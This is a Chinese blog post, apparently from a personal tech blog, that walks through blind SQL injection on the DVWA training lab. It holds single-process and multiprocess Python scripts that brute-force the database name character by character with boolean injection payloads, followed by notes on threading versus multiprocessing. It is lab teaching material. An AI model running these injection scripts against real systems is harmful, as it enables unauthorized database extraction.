惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Tailwind CSS Blog
大猫的无限游戏
大猫的无限游戏
L
LINUX DO - 热门话题
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
雷峰网
雷峰网
aimingoo的专栏
aimingoo的专栏
博客园_首页
MongoDB | Blog
MongoDB | Blog
V
V2EX
GbyAI
GbyAI
量子位
Microsoft Azure Blog
Microsoft Azure Blog
有赞技术团队
有赞技术团队
G
Google Developers Blog
云风的 BLOG
云风的 BLOG
B
Blog
Microsoft Security Blog
Microsoft Security Blog
S
SegmentFault 最新的问题
O
OpenAI News
N
News and Events Feed by Topic
博客园 - Franky
爱范儿
爱范儿
Forbes - Security
Forbes - Security
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
V2EX - 技术
V2EX - 技术
Application and Cybersecurity Blog
Application and Cybersecurity Blog
N
News and Events Feed by Topic
N
News | PayPal Newsroom
Schneier on Security
Schneier on Security
Cloudbric
Cloudbric
Security Archives - TechRepublic
Security Archives - TechRepublic
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Recent Commits to openclaw:main
Recent Commits to openclaw:main
人人都是产品经理
人人都是产品经理
P
Privacy International News Feed
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
B
Blog RSS Feed
阮一峰的网络日志
阮一峰的网络日志
D
DataBreaches.Net
Last Week in AI
Last Week in AI
罗磊的独立博客
Spread Privacy
Spread Privacy
Recent Announcements
Recent Announcements
The Cloudflare Blog
Google DeepMind News
Google DeepMind News
AWS News Blog
AWS News Blog
The Register - Security
The Register - Security
Y
Y Combinator Blog
J
Java Code Geeks
I
Intezer

Casear的技术栈

Ubuntu 26.04 装 NVIDIA 580 内网异机备份 conf 驱动 Razer_GRUB_Theme Fcitx5 输入法配置:切换中文输入法 服务器 zsh 环境配置记录:Zim + p10k + eza + zoxide # ThinkPad T490s Linux 指纹模块启用指南(KDE vanblog使用picgo图床的完整部署教程 vanblog备份恢复评论数据 如何配置一个虚拟显示器,以便远程没有显示器的系统 解决 OpenConnect VPN 由于 JScript 引擎丢失导致的 Error 1 修复 Fuck 2025 ATT&CK红队评估实战靶场二 一言 解决kde环境下切换登陆屏幕(SDDM)后显示异常 rss Linux实用软件分享 Kubuntu 上安装 显卡驱动 和 EnvyControl kubuntu 搜狗输入法安装问题解决 终端工具的选择 chatlog 青龙面板+wxBotWebhook实现自动推送天气 mac 安装 第三方应用问题 zsh 安装与配置,使用 oh-my-zsh 美化终端 pve虚拟机硬盘直通 tldr-pages 安装 pve安装Arch-linux Arch-linux安装桌面环境 提问的艺术极简板 Waline 服务端独立部署解决方案 记-先锋书店 api开发-更优雅的[规范响应数据] sqli 1-7关 Nginx Proxy Manager安装及避坑指南 Xiaomi-Mall-Home kali设置为中文 vscode连接docker查看代码 使用Hexo生成大量页面时卡死问题解决 在Ubuntu上搭建Fivem服务器 互联网档案计划(Internet Archive) NEZHA监控面板美化 哪吒监控配置 CentOS7安装MySQL8.0 burpsuite ca证书安装 powerShell script 你一句春不晚,我就到了真江南 DVWA靶场--XSS(Reflected)教程 DVWA靶场--JavaScript Attacks (前端攻击) 强网杯2023 谍影重重2.0 wp shell脚本备份 MySQL数据库 青龙面板定时规则 异地容灾备份系统两地三中心 转载 关于躺平 python打包可执行文件 python定义函数 MySQL8.0以上PHP连接问题
DVWA--SQL Injection(Blind)(盲注Python脚本)
casearx@foxm · 2024-05-31 · via Casear的技术栈

请注意,本文编写于 759 天前,最后修改于 743 天前,其中某些信息可能已经过时。

加入多线程&多进程

新版本

import concurrent.futures import requests from bs4 import BeautifulSoup def run_code(demot): texterr = "User ID is MISSING from the database." base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/" session_id = "8tuabbh2e1oiv0c2flpn3jbvk4" params = {"id": demot, "Submit": "Submit"} cookies = {"PHPSESSID": session_id, "security": "low"} response = requests.get(base_url, params=params, cookies=cookies) print(response.status_code) soup = BeautifulSoup(response.text, "html.parser") search_results = soup.find_all("pre") print(search_results) print(demot) for result in search_results: text = result.text.strip() print(text) if (text != texterr) and ("User ID exists in the database." in text): with open("example.txt", "a") as file: file.write(demot + "\n") # 多线程运行 # if __name__ == "__main__": # demots = list(range(1, 200)) # 保存所有需要运行的demot # max_threads = 10 # 最大线程数 # with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor: # for i in range(1, 6): # for demo in range(1, 128): # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #" # executor.submit(run_code, demot) # 多进程 if __name__ == "__main__": max_processes = 60 with concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor: for i in range(1, 6): for demo in range(1, 128): # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #" demot = f"1'and ord(substr(database(),{i},1))= {demo} #" executor.submit(run_code, demot)

旧版本

import requests from bs4 import BeautifulSoup texterr = "User ID is MISSING from the database." base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/" session_id = "sb35jegkjt33kjgovvptbua022" for i in range(1, 5): for demo in range(1, 128): demot = f"1' and ord(substr(database(), {i}, 1)) = {demo} #" params = {"id": demot, "Submit": "Submit"} cookies = {"PHPSESSID": session_id, "security": "low"} response = requests.get(base_url, params=params, cookies=cookies) soup = BeautifulSoup(response.text, "html.parser") search_results = soup.find_all("pre") for result in search_results: text = result.text.strip() print(demot) if (text != texterr) and ("User ID exists in the database." in text): with open("example.txt", "a") as file: file.write(demot + "\n") break

  1. 导入了requests和BeautifulSoup模块,分别用于发送HTTP请求和解析HTML页面。
  2. 定义了一个错误信息变量texterr,以及目标网站的基本URL和会话ID。
  3. 使用嵌套循环,遍历数据库名称1-4的ASCII码。
  4. 构造Payload字符串demot,然后将其作为参数发送到目标网址。
  5. 从响应中解析出页面内容,然后在页面中查找包含响应文本的标签(pre)的内容。
  6. 检查每个找到的结果,如果文本不等于错误信息并且包含指定提示,则将查询字符串写入到文件"example.txt"中,并且停止当前循环。
  7. 由于在实际测试中测试Payload会返回一个404响应,但其并不影响页面的返回,故没有设置检查响应码

相关信息

新版本使用了concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor 创建了一个进程池执行器(ProcessPoolExecutor),设置最大工作进程数为max_processes

来达到加速测试的效果

以下是对python的多线程和多进程的优劣关系和应用场景的解释

多线程(Threading)

优点:

  • 轻量级:线程的创建和销毁比进程快,资源消耗较少。
  • 共享内存:线程间可以共享内存,数据传输简单。
  • I/O密集型:如果爬虫主要受限于网络I/O,多线程可以有效地利用等待时间来执行其他任务。

缺点:

  • 全局解释器锁(GIL):Python的CPython实现中的GIL限制了同一时间只能有一个线程执行,这意味着多线程并不能有效利用多核CPU进行并行计算。
  • 资源限制:操作系统对线程的数量有限制,过多的线程可能导致效率降低。

多进程(Multiprocessing)

优点:

  • 绕过GIL:每个进程有自己的Python解释器和内存空间,可以绕过GIL的限制,实现真正的并行执行。
  • CPU密集型:如果爬虫任务是CPU密集型的,多进程可以更好地利用多核处理器。
  • 稳定性:进程间相互独立,一个进程崩溃不会影响其他进程。

缺点:

  • 资源消耗:进程的创建和销毁比线程慢,消耗的资源更多。
  • 进程间通信(IPC):进程间需要通过IPC进行通信,这比线程间共享内存复杂。
  • 数据共享:进程间共享数据不如线程间方便,需要使用特定的IPC机制。

选择建议:

  • I/O密集型任务:如果爬虫主要受限于网络请求和响应时间,多线程可能更合适,因为它可以更有效地利用等待时间。
  • CPU密集型任务:如果爬虫涉及到大量的数据处理,多进程可能更合适,因为它可以利用多核CPU进行并行处理。
  • 爬虫规模:对于大规模的爬虫,多进程可能更有利于扩展和管理。
  • 开发和维护成本:多线程相对简单,但多进程虽然复杂但更稳定。